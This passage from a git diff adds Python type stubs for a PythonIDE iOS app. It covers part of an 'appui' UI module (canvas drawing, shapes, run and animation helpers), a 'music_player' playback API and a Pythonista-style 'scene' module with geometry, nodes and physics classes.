'x', y: str = 'y', + type: str = 'bar', color: Optional[ColorLike] = None, + series: Optional[str] = None) -> None: ... + def aurora_set_data(self, data: Sequence[Dict[str, Any]]) -> None: + """Update chart data via Aurora binary fast-path (avoids full rebuild).""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Canvas & Drawing +# ═══════════════════════════════════════════════════════════ + +class DrawingContext: + """Canvas drawing command builder — chain calls then pass to ``Canvas``. + + Example:: + + ctx = appui.DrawingContext() + ctx.fill_rect(10, 10, 100, 50, color="systemBlue") + ctx.fill_circle(80, 80, 30, color="systemRed") + ctx.fill_text("Hello", 10, 120, font_size=20) + appui.Canvas(width=200, height=200, context=ctx) + """ + commands: Sequence[Dict[str, Any]] + def __init__(self) -> None: ... + def fill_rect(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black') -> Self: ... + def stroke_rect(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_circle(self, cx: float, cy: float, radius: float, + color: ColorLike = 'black') -> Self: ... + def stroke_circle(self, cx: float, cy: float, radius: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_ellipse(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black') -> Self: ... + def stroke_ellipse(self, x: float, y: float, width: float, height: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def line(self, x1: float, y1: float, x2: float, y2: float, + color: ColorLike = 'black', line_width: float = 1, + **kwargs: Any) -> Self: ... + def fill_text(self, text: str, x: float, y: float, color: ColorLike = 'black', + font_size: float = 16, **kwargs: Any) -> Self: ... + def fill_path(self, points: Sequence[Tuple[float, float]], color: ColorLike = 'black', + close: bool = True) -> Self: ... + def stroke_path(self, points: Sequence[Tuple[float, float]], color: ColorLike = 'black', + line_width: float = 1, close: bool = False, + **kwargs: Any) -> Self: ... + def arc(self, cx: float, cy: float, radius: float, start_angle: float = 0, + end_angle: float = 360, color: ColorLike = 'black', line_width: float = 1, + fill: bool = False, **kwargs: Any) -> Self: ... + def rounded_rect(self, x: float, y: float, width: float, height: float, + corner_radius: float = 8, color: ColorLike = 'black', + line_width: float = 1, fill: bool = True, + **kwargs: Any) -> Self: ... + def gradient_rect(self, x: float, y: float, width: float, height: float, + colors: Optional[Sequence[ColorLike]] = None, + vertical: bool = True) -> Self: ... + +class Canvas(View): + """2D drawing canvas. Fill with ``DrawingContext`` commands.""" + def __init__(self, width: float = 300, height: float = 300, + commands: Optional[Sequence[Dict[str, Any]]] = None, + context: Optional[DrawingContext] = None) -> None: ... + def aurora_set_commands(self, commands: Optional[Sequence[Dict[str, Any]]] = None, + context: Optional[DrawingContext] = None) -> None: + """Update canvas draw commands via Aurora binary fast-path.""" + ... + +class Path(View): + """Vector path view. + + Commands: ``{'move': [x, y]}``, ``{'line': [x, y]}``, + ``{'curve': [cx1, cy1, cx2, cy2, x, y]}``, + ``{'arc': [cx, cy, r, startDeg, endDeg]}``, ``{'close': True}``.""" + def __init__(self, commands: Optional[Sequence[Dict[str, Any]]] = None, + fill: Optional[ColorLike] = None, stroke: Optional[ColorLike] = None, + line_width: Optional[float] = None) -> None: ... + def aurora_set_commands(self, commands: Sequence[Dict[str, Any]]) -> None: + """Update path commands via Aurora binary fast-path.""" + ... + + +# ═══════════════════════════════════════════════════════════ +# Shapes +# ═══════════════════════════════════════════════════════════ + +class _Shape(View): + """Base for shape views. Use ``.fill()`` and ``.stroke()``.""" + def fill(self, color: ColorLike) -> Self: + """Fill the shape with a color.""" + ... + def stroke(self, color: ColorLike, line_width: float = 1, **kwargs: Any) -> Self: + """Stroke the shape outline.""" + ... + +class Rectangle(_Shape): + """A rectangle shape.""" + def __init__(self) -> None: ... + +class RoundedRectangle(_Shape): + """A rounded rectangle shape.""" + def __init__(self, corner_radius: float = 10, + cornerRadius: Optional[float] = None) -> None: ... + +class Circle(_Shape): + """A circle shape.""" + def __init__(self) -> None: ... + +class Capsule(_Shape): + """A capsule (stadium) shape.""" + def __init__(self) -> None: ... + +class Ellipse(_Shape): + """An ellipse shape.""" + def __init__(self) -> None: ... + +class Color(View): + """A solid color view or color value. + + Example:: + + appui.Color("systemBlue") + appui.Color(red=0.2, green=0.5, blue=0.8, opacity=0.9) + """ + def __init__(self, value: Optional[ColorLike] = None, red: Optional[float] = None, + green: Optional[float] = None, blue: Optional[float] = None, + opacity: float = 1.0) -> None: ... + +class ToolbarItem(View): + """An item placed in a toolbar. + + Args: + placement: ``'automatic'``, ``'navigation_bar_leading'``, + ``'navigation_bar_trailing'``, ``'bottom_bar'``, + ``'principal'``, ``'keyboard'``. + role: optional semantic role. Use ``'close'`` for a custom close item; + fullscreen_with_close will then not inject a duplicate close button + for that NavigationStack.""" + def __init__(self, placement: str = 'automatic', content: Optional[View] = None, + role: Optional[str] = None) -> None: ... + + +class ToolbarSpacer(View): + """An iOS 26 SwiftUI ``ToolbarSpacer`` item for separating toolbar groups.""" + def __init__(self, sizing: str = 'fixed', placement: str = 'automatic') -> None: ... + + +# ═══════════════════════════════════════════════════════════ +# Module-Level Functions +# ═══════════════════════════════════════════════════════════ + +def run(body_func: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None, + state: Optional[Union[State, ReactiveState]] = None, + hot_reload: bool = False, presentation: str = 'sheet', + body: Optional[Union[Callable[[], View], Callable[[Union[State, ReactiveState, None]], View]]] = None) -> None: + """Start the UI event loop. + + Args: + body_func: A function that returns the root ``View`` tree. It may be + declared as ``body()`` or ``body(state)``. + state: Optional ``State`` or ``ReactiveState`` for automatic rebuild on change. + hot_reload: Watch the source file and auto-reload on save. + presentation: ``'sheet'``, ``'fullscreen'``, ``'fullscreen_with_close'``. + """ + ... + +def dismiss() -> None: + """Dismiss the current appui presentation.""" + ... + +def presentation_present(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None, value: bool = True) -> bool: + """Present a registered sheet/alert by its ``show_*`` state field.""" + ... + +def presentation_dismiss(field_name: str, *, state: Optional[Union[State, ReactiveState]] = None) -> bool: + """Dismiss a registered presentation by its ``show_*`` state field.""" + ... + +def presentation_dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool: + """Dismiss every currently presented registered slot (alias: ``dismiss_all``).""" + ... + +def dismiss_all(*, state: Optional[Union[State, ReactiveState]] = None) -> bool: + """Dismiss every currently presented registered slot.""" + ... + +def animate(action: Callable[[], None], type: str = 'default') -> None: + """Wrap state changes in an animation. + + Example:: + + def show_view(): + state.batch_update(show=True) + + appui.animate(show_view, type="spring") + + Types: ``'default'``, ``'linear'``, ``'easeIn'``, ``'easeOut'``, ``'easeInOut'``, ``'spring'``. + """ + ... + +def auto_refresh(interval: float = 1.0) -> None: + """Force periodic UI rebuilds for live-updating content (clocks, dashboards).""" + ... + +def preload() -> None: + """Pre-initialize the native bridge to reduce first-run latency.""" + ... + +def set_custom_prop(view_or_handle: Any, prop_name: str, value: Any) -> None: + """Push an arbitrary property via Aurora binary UPDATE_PROPS. + + Falls back to full JSON rebuild if Aurora is inactive.""" + ... + +def call_native(function_name: str, **kwargs: Any) -> None: + """Invoke a native iOS function via the Aurora command buffer. + + Example:: + + appui.call_native("haptic", style="impact") + """ + ... + +def get_native_lib() -> Optional[ctypes.CDLL]: + """Return the ctypes handle to the Aurora native library, or ``None``. + + Useful for advanced users who need direct access to the C bridge. + """ + ... + + +# ═══════════════════════════════════════════════════════════ +# Grid Helpers +# ═══════════════════════════════════════════════════════════ + +def grid_item(type: str = 'flexible', minimum: Optional[float] = None, + maximum: Optional[float] = None, count: Optional[int] = None) -> Dict[str, Any]: + """Create a grid column/row specification.""" + ... + +def flexible(minimum: float = 10, maximum: Optional[float] = None) -> Dict[str, Any]: + """Flexible grid column that grows to fill space. + + Example:: + + appui.LazyVGrid(columns=[appui.flexible(), appui.flexible()]) + """ + ... + +def fixed(size: float) -> Dict[str, Any]: + """Fixed-width grid column.""" + ... + +def adaptive(minimum: float = 50, maximum: Optional[float] = None) -> Dict[str, Any]: + """Adaptive grid column that fits as many items as possible above ``minimum``.""" + ... + +def custom_font(name: str, size: float = 17) -> str: + """Reference a custom font by PostScript name. + + Example:: + + appui.Text("Hello").font(appui.custom_font("Avenir-Heavy", 24)) + """ + ... diff --git a/docs/stubs/music_player.pyi b/docs/stubs/music_player.pyi new file mode 100644 index 0000000..da0db04 --- /dev/null +++ b/docs/stubs/music_player.pyi @@ -0,0 +1,107 @@ +"""Type stubs for `music_player` public PythonIDE module.""" + +from __future__ import annotations + +from typing import Any, Callable, Dict, Iterable, Literal, Optional, Sequence, TypedDict + +PlayMode = Literal["sequence", "repeat_all", "repeat_one", "shuffle"] + +PLAY_MODE_SEQUENCE: PlayMode +PLAY_MODE_REPEAT_ALL: PlayMode +PLAY_MODE_REPEAT_ONE: PlayMode +PLAY_MODE_SHUFFLE: PlayMode + +class Song(TypedDict, total=False): + url: str + title: str + name: str + artist: str + singer: str + album: str + artwork_path: str + artwork_url: str + cover: str + duration: float + id: str + +class MusicPlayerError(RuntimeError): + code: Optional[Any] + def __init__(self, message: str, code: Optional[Any] = ...) -> None: ... + +def configure( + now_playing: Optional[bool] = ..., + remote_commands: Optional[bool] = ..., + background: Optional[bool] = ..., + persist: Optional[bool] = ..., + auto_advance: Optional[bool] = ..., + progress_interval: Optional[float] = ..., + can_next: Optional[bool] = ..., + can_previous: Optional[bool] = ..., +) -> Dict[str, Any]: ... + +def set_queue( + songs: Sequence[Dict[str, Any] | Song], + start_index: int = ..., + play_mode: Optional[PlayMode | str] = ..., + autoplay: bool = ..., + preload_count: int = ..., +) -> Dict[str, Any]: ... + +def queue() -> Dict[str, Any]: ... + +def current() -> Dict[str, Any]: ... + +def add(song: Dict[str, Any] | Song, play_next: bool = ..., autoplay: bool = ...) -> Dict[str, Any]: ... + +def remove(index: int) -> Dict[str, Any]: ... + +def move(from_index: int, to_index: int) -> Dict[str, Any]: ... + +def clear() -> None: ... + +def prepare(song: Dict[str, Any] | Song, index: Optional[int] = ...) -> Dict[str, Any]: ... + +def prefetch_next(count: int = ...) -> Dict[str, Any]: ... + +def preload_state() -> Dict[str, Any]: ... + +def play() -> bool: ... + +def pause() -> None: ... + +def toggle() -> bool: ... + +def stop() -> None: ... + +def next() -> bool: ... + +def previous() -> bool: ... + +def seek(seconds: float) -> Dict[str, Any]: ... + +def set_play_mode(mode: PlayMode | str) -> Dict[str, Any]: ... + +def set_volume(volume: float) -> Dict[str, Any]: ... + +def set_rate(rate: float) -> Dict[str, Any]: ... + +def state() -> Dict[str, Any]: ... + +def restore(autoplay: bool = ...) -> Dict[str, Any]: ... + +def on_event(callback: str | Callable[[str], Any], events: Optional[str | Iterable[str]] = ...) -> Dict[str, Any]: ... + +def off_event(callback_id: Optional[Any] = ...) -> Dict[str, Any]: ... + +__all__ = [ + 'PLAY_MODE_SEQUENCE', 'PLAY_MODE_REPEAT_ALL', + 'PLAY_MODE_REPEAT_ONE', 'PLAY_MODE_SHUFFLE', + 'MusicPlayerError', + 'configure', 'set_queue', 'queue', 'current', + 'add', 'remove', 'move', 'clear', + 'prepare', 'prefetch_next', 'preload_state', + 'play', 'pause', 'toggle', 'stop', 'next', 'previous', 'seek', + 'set_play_mode', 'set_volume', 'set_rate', + 'state', 'restore', + 'on_event', 'off_event', +] diff --git a/docs/stubs/scene.pyi b/docs/stubs/scene.pyi new file mode 100644 index 0000000..dcfc436 --- /dev/null +++ b/docs/stubs/scene.pyi @@ -0,0 +1,940 @@ +""" +Type stubs for `scene` — Pythonista-compatible 2D scene API (SpriteKit bridge). +""" + +from __future__ import annotations + +__all__ = [ + 'Scene', 'Node', 'SpriteNode', 'LabelNode', 'ShapeNode', 'EffectNode', 'EmitterNode', + 'Action', 'Texture', 'Shader', 'SceneView', + 'Touch', 'Vector2', 'Vector3', 'Size', 'Rect', 'Point', 'EdgeInsets', + 'PhysicsBody', 'PhysicsWorld', 'Contact', + 'PinJoint', 'SpringJoint', 'RopeJoint', + 'run', 'get_screen_size', 'get_screen_scale', 'gravity', 'play_effect', + 'get_image_path', 'get_controllers', 'get_safe_area_insets', + 'background', 'fill', 'no_fill', 'stroke', 'no_stroke', 'stroke_weight', + 'tint', 'no_tint', 'rect', 'ellipse', 'line', 'image', 'text', + 'translate', 'rotate', 'scale', 'push_matrix', 'pop_matrix', + 'blend_mode', 'use_shader', 'load_image', 'load_image_file', 'load_pil_image', + 'render_text', 'unload_image', 'image_quad', 'triangle_strip', + 'BLEND_NORMAL', 'BLEND_ADD', 'BLEND_MULTIPLY', + 'DEFAULT_ORIENTATION', 'PORTRAIT', 'LANDSCAPE', + 'TIMING_LINEAR', 'TIMING_EASE_IN', 'TIMING_EASE_IN_2', + 'TIMING_EASE_OUT', 'TIMING_EASE_OUT_2', 'TIMING_EASE_IN_OUT', + 'TIMING_SINODIAL', + 'TIMING_EASE_BACK_IN', 'TIMING_EASE_BACK_OUT', 'TIMING_EASE_BACK_IN_OUT', + 'TIMING_ELASTIC_IN', 'TIMING_ELASTIC_OUT', 'TIMING_ELASTIC_IN_OUT', + 'TIMING_BOUNCE_IN', 'TIMING_BOUNCE_OUT', 'TIMING_BOUNCE_IN_OUT', + 'FILTERING_LINEAR', 'FILTERING_NEAREST', +] + +from typing import ( + Any, + Callable, + Dict, + Iterator, + List, + Optional, + Sequence, + Tuple, + Union, + overload, +) +from typing_extensions import Self + +ColorLike = Union[str, Tuple[float, ...], List[float], float] +"""Color: name string, RGBA tuple, RGB list, or gray float.""" + +# --- Constants --- + +DEFAULT_ORIENTATION: int +PORTRAIT: int +LANDSCAPE: int + +BLEND_NORMAL: int +BLEND_ADD: int +BLEND_MULTIPLY: int + +TIMING_LINEAR: int +TIMING_EASE_IN: int +TIMING_EASE_IN_2: int +TIMING_EASE_OUT: int +TIMING_EASE_OUT_2: int +TIMING_EASE_IN_OUT: int +TIMING_SINODIAL: int +TIMING_ELASTIC_IN: int +TIMING_ELASTIC_OUT: int +TIMING_ELASTIC_IN_OUT: int +TIMING_BOUNCE_IN: int +TIMING_BOUNCE_OUT: int +TIMING_BOUNCE_IN_OUT: int +TIMING_EASE_BACK_IN: int +TIMING_EASE_BACK_OUT: int +TIMING_EASE_BACK_IN_OUT: int + +FILTERING_LINEAR: int +FILTERING_NEAREST: int + +# --- Geometry --- + +class Vector2: + __slots__: Tuple[str, ...] + x: float + y: float + + def __init__(self, x: float, y: float) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def __add__(self, other: Any) -> Vector2: ... + def __sub__(self, other: Any) -> Vector2: ... + def __mul__(self, other: Any) -> Vector2: ... + def __truediv__(self, other: Any) -> Vector2: ... + def __radd__(self, other: Any) -> Any: ... + def __rsub__(self, other: Any) -> Any: ... + def __rmul__(self, other: Any) -> Any: ... + def __iadd__(self, other: Any) -> Self: ... + def __isub__(self, other: Any) -> Self: ... + def __imul__(self, other: Any) -> Self: ... + def __itruediv__(self, other: Any) -> Self: ... + def __neg__(self) -> Self: ... + def __eq__(self, other: object) -> bool: ... + def __ne__(self, other: object) -> bool: ... + def __hash__(self) -> int: ... + def __abs__(self) -> float: ... + def __len__(self) -> int: ... + def __repr__(self) -> str: ... + def __bool__(self) -> bool: ... + + +class EdgeInsets: + """Edge insets (top, bottom, left, right) for safe area.""" + __slots__: Tuple[str, ...] + top: float + bottom: float + left: float + right: float + + def __init__( + self, + top: float = 0.0, + bottom: float = 0.0, + left: float = 0.0, + right: float = 0.0, + ) -> None: ... + def __repr__(self) -> str: ... + + +class Vector3: + """3D vector for gravity sensors etc.""" + __slots__: Tuple[str, ...] + x: float + y: float + z: float + + def __init__(self, x: float = 0.0, y: float = 0.0, z: float = 0.0) -> None: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def __len__(self) -> int: ... + def __repr__(self) -> str: ... + + +class Point(Vector2): + """Position (x, y).""" + + def __add__(self, other: Any) -> Point: ... + def __sub__(self, other: Any) -> Point: ... + def __mul__(self, other: Any) -> Point: ... + def __truediv__(self, other: Any) -> Point: ... + def __repr__(self) -> str: ... + + +class Size(Vector2): + """Size (w, h). w/h as aliases for x/y.""" + __slots__: Tuple[str, ...] + + @property + def w(self) -> float: ... + @w.setter + def w(self, v: float) -> None: ... + @property + def h(self) -> float: ... + @h.setter + def h(self, v: float) -> None: ... + + def __add__(self, other: Any) -> Size: ... + def __sub__(self, other: Any) -> Size: ... + def __mul__(self, other: Any) -> Size: ... + def __truediv__(self, other: Any) -> Size: ... + def __repr__(self) -> str: ... + + +class Rect: + """Rect (x, y, w, h). Origin lower-left.""" + __slots__: Tuple[str, ...] + x: float + y: float + w: float + h: float + + def __init__(self, x: float, y: float, w: float, h: float) -> None: ... + @property + def width(self) -> float: ... + @property + def height(self) -> float: ... + @property + def origin(self) -> Point: ... + @property + def size(self) -> Size: ... + @property + def min_x(self) -> float: ... + @property + def max_x(self) -> float: ... + @property + def min_y(self) -> float: ... + @property + def max_y(self) -> float: ... + def center(self, p: Optional[Point] = None) -> Point: ... + def contains_point(self, p: Point) -> bool: ... + def contains_rect(self, other: Rect) -> bool: ... + def intersects(self, other: Rect) -> bool: ... + def intersection(self, other: Rect) -> Rect: ... + def union(self, other: Rect) -> Rect: ... + def inset( + self, + top: float, + left: float, + bottom: Optional[float] = None, + right: Optional[float] = None, + ) -> Rect: ... + def __getitem__(self, i: int) -> float: ... + def __iter__(self) -> Iterator[float]: ... + def translate(self, x: float, y: float) -> Rect: ... + def __contains__(self, point: Any) -> bool: ... + def __repr__(self) -> str: ... + def __len__(self) -> int: ... + def __eq__(self, other: object) -> bool: ... + def __hash__(self) -> int: ... + + +class Touch: + """Touch event: location, prev_location, touch_id.""" + __slots__: Tuple[str, ...] + touch_id: int + + def __init__( + self, + x: float, + y: float, + prev_x: float, + prev_y: float, + touch_id: int, + ) -> None: ... + @property + def location(self) -> Point: ... + @property + def prev_location(self) -> Point: ... + + +class Contact: + """Collision contact for physics callbacks.""" + __slots__: Tuple[str, ...] + node_a: Node + node_b: Node + contact_point: Point + collision_impulse: float + body_a: Node + body_b: Node + + def __init__( + self, + node_a: Node, + node_b: Node, + px: float, + py: float, + impulse: float, + ) -> None: ... + + +class SceneView: + """Embeddable Scene container (pairs with `ui.View`).""" + + def __init__(self) -> None: ... + @property + def view(self) -> Any: ... + @property + def scene(self) -> Optional[Scene]: ... + @scene.setter + def scene(self, value: Optional[Scene]) -> None: ... + @property + def paused(self) -> bool: ... + @paused.setter + def paused(self, value: bool) -> None: ... + @property + def frame_interval(self) -> int: ... + @frame_interval.setter + def frame_interval(self, value: int) -> None: ... + @property + def anti_alias(self) -> bool: ... + @anti_alias.setter + def anti_alias(self, value: bool) -> None: ... + @property + def shows_fps(self) -> bool: ... + @shows_fps.setter + def shows_fps(self, value: bool) -> None: ... + + +class Scene: + """Base scene: override setup(), update(), draw(), touch handlers, etc.""" + + def __init__(self) -> None: ... + @property + def frame_count(self) -> int: ... + @property + def touches(self) -> Dict[int, Touch]: ... + @property + def t(self) -> float: ... + @property + def dt(self) -> float: ... + @property + def background_color(self) -> Tuple[float, float, float, float]: ... + @background_color.setter + def background_color(self, value: Any) -> None: ... + @property + def children(self) -> List[Node]: ... + @property + def physics_world(self) -> PhysicsWorld: ... + @property + def safe_area_insets(self) -> EdgeInsets: ... + @property + def effects_enabled(self) -> bool: ... + @effects_enabled.setter + def effects_enabled(self, value: bool) -> None: ... + @property + def crop_rect(self) -> Any: ... + @crop_rect.setter + def crop_rect(self, value: Any) -> None: ... + @property + def view(self) -> Any: ... + @property + def presented_scene(self) -> Optional[Scene]: ... + @property + def presenting_scene(self) -> Optional[Scene]: ... + def setup(self) -> None: ... + def update(self) -> None: ... + def draw(self) -> None: ... + def did_evaluate_actions(self) -> None: ... + def touch_began(self, touch: Touch) -> None: ... + def touch_moved(self, touch: Touch) -> None: ... + def touch_ended(self, touch: Touch) -> None: ... + def did_change_size(self) -> None: ... + def controller_changed(self, key: str, value: Any) -> None: ... + def present_modal_scene(self, other: Scene) -> None: ... + def dismiss_modal_scene(self) -> None: ... + def pause(self) -> None: ... + def resume(self) -> None: ... + def stop(self) -> None: ... + def add_child(self, node: Node) -> None: ... + def remove_all_children(self) -> None: ... + + +def run( + scene: Scene, + *, + orientation: int = ..., + frame_interval: int = ..., + anti_alias: bool = ..., + show_fps: bool = ..., + multi_touch: bool = ..., + _mode: str = ..., +) -> None: ... + + +def get_screen_size() -> Size: ... +def get_screen_scale() -> float: ... +def gravity() -> Vector3: ... +def get_safe_area_insets() -> EdgeInsets: ... +def play_effect(name: str, volume: float = ..., pitch: float = ...) -> None: ... +def get_image_path(name: str) -> Optional[str]: ... +def get_controllers() -> List[Dict[str, Any]]: ... + + +class Texture: + """Bitmap texture for sprites (name, file path, or image object).""" + + def __init__(self, name_or_image: Any) -> None: ... + @property + def size(self) -> Size: ... + @property + def filtering_mode(self) -> int: ... + @filtering_mode.setter + def filtering_mode(self, value: int) -> None: ... + def subtexture(self, rect: Union[Rect, Sequence[float]]) -> Texture: ... + + +class PhysicsWorld: + """Scene physics world (gravity).""" + + def __init__(self, scene: Scene) -> None: ... + @property + def gravity(self) -> Vector2: ... + @gravity.setter + def gravity(self, v: Sequence[float]) -> None: ... + + +class PhysicsBody: + """Physics body attached to a node.""" + + type: str + size: Tuple[float, float] + + def __init__( + self, + type: str = ..., + size: Optional[Tuple[float, float]] = None, + ) -> None: ... + @classmethod + def rectangle( + cls, + width: float = ..., + height: float = ..., + w: float = ..., + h: float = ..., + ) -> PhysicsBody: ... + @classmethod + def circle(cls, radius: float = ..., r: float = ...) -> PhysicsBody: ... + @property + def affected_by_gravity(self) -> bool: ... + @affected_by_gravity.setter + def affected_by_gravity(self, v: bool) -> None: ... + @property + def allows_rotation(self) -> bool: ... + @allows_rotation.setter + def allows_rotation(self, v: bool) -> None: ... + @property + def dynamic(self) -> bool: ... + @dynamic.setter + def dynamic(self, v: bool) -> None: ... + @property + def restitution(self) -> float: ... + @restitution.setter + def restitution(self, v: float) -> None: ... + @property + def friction(self) -> float: ... + @friction.setter + def friction(self, v: float) -> None: ... + @property + def linear_damping(self) -> float: ... + @linear_damping.setter + def linear_damping(self, v: float) -> None: ... + @property + def angular_damping(self) -> float: ... + @angular_damping.setter + def angular_damping(self, v: float) -> None: ... + @property + def mass(self) -> float: ... + @mass.setter + def mass(self, v: float) -> None: ... + @property + def density(self) -> float: ... + @density.setter + def density(self, v: float) -> None: ... + @property + def angular_velocity(self) -> float: ... + @angular_velocity.setter + def angular_velocity(self, v: float) -> None: ... + @property + def velocity(self) -> Vector2: ... + @velocity.setter + def velocity(self, v: Sequence[float]) -> None: ... + @overload + def apply_impulse(self, impulse: Sequence[float]) -> None: ... + @overload + def apply_impulse(self, dx: float, dy: float) -> None: ... + @overload + def apply_force(self, force: Sequence[float]) -> None: ... + @overload + def apply_force(self, fx: float, fy: float) -> None: ... + @property + def category_bitmask(self) -> int: ... + @category_bitmask.setter + def category_bitmask(self, v: int) -> None: ... + @property + def collision_bitmask(self) -> int: ... + @collision_bitmask.setter + def collision_bitmask(self, v: int) -> None: ... + @property + def contact_test_bitmask(self) -> int: ... + @contact_test_bitmask.setter + def contact_test_bitmask(self, v: int) -> None: ... + + +class Joint: + """Base class for physics joints (implementation detail for Pin/Spring/Rope).""" + node_a: Node + node_b: Node + + def __init__(self, node_a: Node, node_b: Node) -> None: ... + + +class PinJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor: Tuple[float, float], + ) -> None: ... + + +class SpringJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor_a: Tuple[float, float], + anchor_b: Tuple[float, float], + *, + damping: float = ..., + frequency: float = ..., + ) -> None: ... + + +class RopeJoint(Joint): + def __init__( + self, + node_a: Node, + node_b: Node, + anchor_a: Tuple[float, float], + anchor_b: Tuple[float, float], + ) -> None: ... + + +class Shader: + """Custom fragment shader for nodes.""" + + source: str + + def __init__(self, source: str) -> None: ... + def set_uniform(self, name: str, value: Any) -> None: ... + def get_uniform(self, name: str) -> Optional[float]: ... + def get_uniform_vec(self, name: str) -> Optional[Tuple[float, ...]]: ... + + +class Node: + """Base node: transform, hierarchy, actions, physics.""" + + def __init__( + self, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def position(self) -> Point: ... + @position.setter + def position(self, value: Any) -> None: ... + @property + def rotation(self) -> float: ... + @rotation.setter + def rotation(self, value: float) -> None: ... + @property + def x_scale(self) -> float: ... + @x_scale.setter + def x_scale(self, value: float) -> None: ... + @property + def y_scale(self) -> float: ... + @y_scale.setter + def y_scale(self, value: float) -> None: ... + @property + def children(self) -> List[Node]: ... + @property + def parent(self) -> Optional[Any]: ... + @property + def scale(self) -> float: ... + @scale.setter + def scale(self, value: float) -> None: ... + @property + def alpha(self) -> float: ... + @alpha.setter + def alpha(self, value: float) -> None: ... + @property + def shader(self) -> Optional[Shader]: ... + @shader.setter + def shader(self, value: Optional[Shader]) -> None: ... + @property + def z_position(self) -> float: ... + @z_position.setter + def z_position(self, value: float) -> None: ... + @property + def physics_body(self) -> Optional[PhysicsBody]: ... + @physics_body.setter + def physics_body(self, value: Optional[PhysicsBody]) -> None: ... + def add_child(self, node: Node) -> None: ... + def remove_from_parent(self) -> None: ... + def remove_all_children(self) -> None: ... + def convert_point(self, point: Any, to_node: Node) -> Point: ... + def run_action(self, action: Action, key: Optional[str] = None) -> None: ... + def remove_action(self, key: str) -> None: ... + def remove_all_actions(self) -> None: ... + @property + def frame(self) -> Rect: ... + @property + def bbox(self) -> Rect: ... + @property + def blend_mode(self) -> int: ... + @blend_mode.setter + def blend_mode(self, value: int) -> None: ... + @property + def speed(self) -> float: ... + @speed.setter + def speed(self, value: float) -> None: ... + @property + def paused(self) -> bool: ... + @paused.setter + def paused(self, value: bool) -> None: ... + @property + def scene(self) -> Optional[Scene]: ... + def point_to_scene(self, point: Any) -> Point: ... + def point_from_scene(self, point: Any) -> Point: ... + def render_to_texture(self, crop_rect: Any = None) -> Texture: ... + + +class SpriteNode(Node): + def __init__( + self, + texture: Any = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + size: Optional[Sequence[float]] = None, + color: Optional[ColorLike] = ..., + blend_mode: int = ..., + **kwargs: Any, + ) -> None: ... + @property + def size(self) -> Size: ... + @size.setter + def size(self, value: Any) -> None: ... + @property + def texture(self) -> Any: ... + @texture.setter + def texture(self, value: Any) -> None: ... + @property + def color_blend_factor(self) -> float: ... + @color_blend_factor.setter + def color_blend_factor(self, value: float) -> None: ... + @property + def anchor_point(self) -> Point: ... + @anchor_point.setter + def anchor_point(self, value: Sequence[float]) -> None: ... + @property + def color(self) -> Any: ... + @color.setter + def color(self, value: Any) -> None: ... + + +class LabelNode(Node): + def __init__( + self, + text: Union[str, int, float] = ..., + font: Union[Tuple[str, float], Sequence[Any]] = ..., + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def color(self) -> Any: ... + @color.setter + def color(self, value: Any) -> None: ... + @property + def text(self) -> str: ... + @text.setter + def text(self, value: str) -> None: ... + @property + def font(self) -> Tuple[str, float]: ... + @font.setter + def font(self, value: Tuple[str, float]) -> None: ... + @property + def alignment(self) -> Tuple[int, int]: ... + @alignment.setter + def alignment(self, value: Tuple[int, int]) -> None: ... + + +class ShapeNode(Node): + def __init__( + self, + path: Any = None, + fill_color: Optional[ColorLike] = ..., + stroke_color: Optional[ColorLike] = ..., + shadow: Any = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def path(self) -> Any: ... + @path.setter + def path(self, value: Any) -> None: ... + def set_path(self, path: Any) -> None: ... + @property + def line_width(self) -> float: ... + @line_width.setter + def line_width(self, value: float) -> None: ... + @property + def stroke_width(self) -> float: ... + @stroke_width.setter + def stroke_width(self, value: float) -> None: ... + @property + def fill_color(self) -> Any: ... + @fill_color.setter + def fill_color(self, value: Any) -> None: ... + @property + def stroke_color(self) -> Any: ... + @stroke_color.setter + def stroke_color(self, value: Any) -> None: ... + @property + def shadow(self) -> Any: ... + @shadow.setter + def shadow(self, value: Any) -> None: ... + + +class EffectNode(Node): + def __init__( + self, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + @property + def effects_enabled(self) -> bool: ... + @effects_enabled.setter + def effects_enabled(self, value: bool) -> None: ... + @property + def crop_rect(self) -> Any: ... + @crop_rect.setter + def crop_rect(self, value: Any) -> None: ... + + +class EmitterNode(Node): + def __init__( + self, + file_named: Optional[str] = None, + position: Tuple[float, float] = ..., + *, + z_position: float = ..., + scale: float = ..., + x_scale: float = ..., + y_scale: float = ..., + alpha: float = ..., + speed: float = ..., + parent: Optional[Node] = None, + **kwargs: Any, + ) -> None: ... + + +class Action: + """Factory for SpriteKit-style actions.""" + + duration: float + timing_mode: int + + def __init__(self) -> None: ... + @staticmethod + def move_to( + x: float, + y: float, + duration: 